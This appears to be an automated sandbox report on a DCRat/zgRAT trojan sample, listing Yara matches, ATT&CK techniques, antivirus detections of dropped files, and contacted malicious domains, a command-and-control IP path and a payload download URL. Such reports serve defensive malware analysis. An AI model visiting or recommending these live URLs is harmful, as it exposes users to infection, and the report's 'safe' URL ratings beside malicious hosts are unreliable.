Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, type: DROPPED
Source: Yara match	File source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: gorkmTnChA.exe, type: SAMPLE
Source: Yara match	File source: 1.3.DCRatBuild.exe.5218700.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.0.webDriverintoDll.exe.4e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.DCRatBuild.exe.68dd700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.gorkmTnChA.exe.2c2170f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.45797b.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.gorkmTnChA.exe.409294.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Default\Favorites\ApplicationFrameHost.exe, type: DROPPED
Source: Yara match	File source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	1 Replication Through Removable Media	241 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	13 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	1 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	11 Software Packing	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	158 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Masquerading	DCSync	371 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	251 Virtualization/Sandbox Evasion	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	13 Process Injection	/etc/passwd and /etc/shadow	251 Virtualization/Sandbox Evasion	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Application Window Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Owner/User Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
gorkmTnChA.exe	100%	ReversingLabs	Win32.Trojan.DCRat
gorkmTnChA.exe	100%	Avira	VBS/Runner.VPG
gorkmTnChA.exe	100%	Avira	VBS/Runner.VPG
gorkmTnChA.exe	100%	Avira	TR/Redcap.apero
gorkmTnChA.exe	100%	Avira	HEUR/AGEN.1323342
gorkmTnChA.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Avira	VBS/Runner.VPG
C:\Users\Default\Favorites\ApplicationFrameHost.exe	100%	Avira	HEUR/AGEN.1323342
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\Desktop\BXyiPEuJ.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\ClgJzaDG.log	100%	Avira	HEUR/AGEN.1362695
C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat	100%	Avira	BAT/Delbat.C
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	100%	Avira	TR/Redcap.apero
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	100%	Avira	HEUR/AGEN.1323342
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	100%	Joe Sandbox ML
C:\Users\Default\Favorites\ApplicationFrameHost.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\BXyiPEuJ.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\ClgJzaDG.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\AOGsABiv.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Program Files\Uninstall Information\KAdpNCgonFhCnlBRasdZerWl.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\Default\Favorites\ApplicationFrameHost.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\ShortcutFlags.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_6036\lzmaextractor.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	63%	ReversingLabs	Win32.Trojan.DCRat
C:\Users\user\AppData\Local\Temp\MSI43FC.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI447A.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI44B9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI46ED.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI47C9.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4969.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4A36.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4A94.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4B03.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4C8A.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4D85.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4DB5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MSI4DD5.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	50%	ReversingLabs	Win32.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\shi436E.tmp	0%	ReversingLabs
C:\Users\user\Desktop\AOGsABiv.log	16%	ReversingLabs
C:\Users\user\Desktop\BXyiPEuJ.log	25%	ReversingLabs
C:\Users\user\Desktop\ClgJzaDG.log	17%	ReversingLabs
C:\Users\user\Desktop\GKQhrBJx.log	25%	ReversingLabs
C:\Users\user\Desktop\JrPikvxc.log	25%	ReversingLabs
C:\Users\user\Desktop\LMwQZDoR.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\MAAYLQkP.log	21%	ReversingLabs
C:\Users\user\Desktop\OWmHElNj.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\OfhhMrNQ.log	25%	ReversingLabs
C:\Users\user\Desktop\SEFybwug.log	17%	ReversingLabs
C:\Users\user\Desktop\SFtfhzmX.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Whispergate
C:\Users\user\Desktop\UplOiJFY.log	8%	ReversingLabs
C:\Users\user\Desktop\UvPgJftz.log	29%	ReversingLabs
C:\Users\user\Desktop\XaQepXPR.log	16%	ReversingLabs
C:\Users\user\Desktop\XgvwQtEs.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\YTLXwDIz.log	8%	ReversingLabs
C:\Users\user\Desktop\ZkmfqpvS.log	25%	ReversingLabs
C:\Users\user\Desktop\aHPfiQDx.log	21%	ReversingLabs
C:\Users\user\Desktop\dYYVtYJg.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\gaqNoVOB.log	5%	ReversingLabs
C:\Users\user\Desktop\hwUMgwXg.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\jLWdviZu.log	4%	ReversingLabs
C:\Users\user\Desktop\jUtdfVsr.log	8%	ReversingLabs
C:\Users\user\Desktop\jyGvCfcb.log	25%	ReversingLabs
C:\Users\user\Desktop\lKQdHBzT.log	17%	ReversingLabs
C:\Users\user\Desktop\lNILRSep.log	21%	ReversingLabs
C:\Users\user\Desktop\lealJKxT.log	17%	ReversingLabs
C:\Users\user\Desktop\nBMUCfZn.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\pAGUOyAM.log	5%	ReversingLabs
C:\Users\user\Desktop\uAoBkxMT.log	29%	ReversingLabs
C:\Users\user\Desktop\vSFbtVsB.log	4%	ReversingLabs
C:\Users\user\Desktop\vlAbNuev.log	17%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\wKKCkQsU.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\xqfrsuNN.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\yYksYVbT.log	21%	ReversingLabs
C:\Users\user\Desktop\zbqSUreo.log	8%	ReversingLabs
C:\bridgeMonitorDhcpCommon\KAdpNCgonFhCnlBRasdZerWl.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno
C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	63%	ReversingLabs	ByteCode-MSIL.Trojan.Jalapeno

Source	Detection	Scanner	Label
http://185.246.67.73d	0%	Avira URL Cloud	safe
https://discord.semkrill.ru/=	0%	Avira URL Cloud	safe
https://semkrill.ru/contact(5h	0%	Avira URL Cloud	safe
https://semkrill.ru/contact(	0%	Avira URL Cloud	safe
https://discord.semkrill.ru/	0%	Avira URL Cloud	safe
http://185.246.67.73	0%	Avira URL Cloud	safe
http://185.246H	0%	Avira URL Cloud	safe
https://semkrill.ru/supporth1h	0%	Avira URL Cloud	safe
https://cdn.semkrill.ru/checker/release/update/SandeLLoCHECKER_Installer-FILES.7z4p	0%	Avira URL Cloud	safe
https://discord.semkrill.ru/AI_CLEAN_RESOURCES_USER_PROMPT_BASIC_UI0AI_APP_FILE	0%	Avira URL Cloud	safe
https://semkrill.ru/supportAI_SHORTCUTTABLE_FLAGSCOLUMNAQAAAA8AAABTAGEAbgBkAGUATABMAG8AQwBIAEUAQwBLA	0%	Avira URL Cloud	safe
https://semkrill.ru/support	0%	Avira URL Cloud	safe
https://cdn.semkrill.ru/checker/release/update/SandeLLoCHECKER_Installer-FILES.7z	0%	Avira URL Cloud	safe
https://sandello.ru	0%	Avira URL Cloud	safe
https://semkrill.ru/contact	0%	Avira URL Cloud	safe
https://discord.semkrill.ru/h	0%	Avira URL Cloud	safe
https://semkrill.ru/contactWindowsTypeNT40DisplayWindows	0%	Avira URL Cloud	safe
https://semkrill.ru/supporthPh	0%	Avira URL Cloud	safe
https://semkrill.ru/supportEY	0%	Avira URL Cloud	safe
https://discord.semkrill.ru/g	0%	Avira URL Cloud	safe
http://185.246.67.73/Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php	0%	Avira URL Cloud	safe
http://185.246.67.73/Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdat	0%	Avira URL Cloud	safe
https://cdn.semkrill.ru/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.semkrill.ru	172.67.184.109	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.semkrill.ru/checker/release/update/SandeLLoCHECKER_Installer-FILES.7z	true	Avira URL Cloud: safe	unknown
http://185.246.67.73/Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
http://www.fontbureau.com/designersG	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
http://www.fontbureau.com/designers/?	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.246.67.73d	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003427000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.semkrill.ru/=	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2900625714.0000000004D00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://semkrill.ru/contact(5h	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
http://www.fontbureau.com/designers	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.semkrill.ru/checker/release/update/SandeLLoCHECKER_Installer-FILES.7z4p	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.semkrill.ru/AI_CLEAN_RESOURCES_USER_PROMPT_BASIC_UI0AI_APP_FILE	SandeLLoCHECKER_Installer.msi.3.dr	false	Avira URL Cloud: safe	unknown
https://semkrill.ru/contact(	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://semkrill.ru/supporth1h	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
https://discord.semkrill.ru/	SandeLLoCHECKER_Installer.exe, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732047913.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732107004.0000000004D5C000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707579064.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.246.67.73	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	webDriverintoDll.exe, 0000000B.00000002.1844340465.00000000031DA000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003277000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.246H	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://semkrill.ru/support	SandeLLoCHECKER_Installer.exe, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2900625714.0000000004D00000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707579064.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
https://semkrill.ru/contact	SandeLLoCHECKER_Installer.exe, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732047913.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2898761896.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2900625714.0000000004D00000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732107004.0000000004D5C000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707579064.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
https://semkrill.ru/supportAI_SHORTCUTTABLE_FLAGSCOLUMNAQAAAA8AAABTAGEAbgBkAGUATABMAG8AQwBIAEUAQwBLA	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.0000000006170000.00000002.00000010.00040000.0000001B.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707913300.00000000034BD000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.msi.3.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
http://www.carterandcone.coml	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sandello.ru	gorkmTnChA.exe	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
https://semkrill.ru/contactWindowsTypeNT40DisplayWindows	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.0000000006170000.00000002.00000010.00040000.0000001B.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707913300.00000000034BD000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.msi.3.dr	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.semkrill.ru/h	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.semkrill.ru/g	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://semkrill.ru/supporthPh	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://semkrill.ru/supportEY	SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732047913.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732107004.0000000004D5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.246.67.73/Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdat	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003427000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	false		high
https://cdn.semkrill.ru/	SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
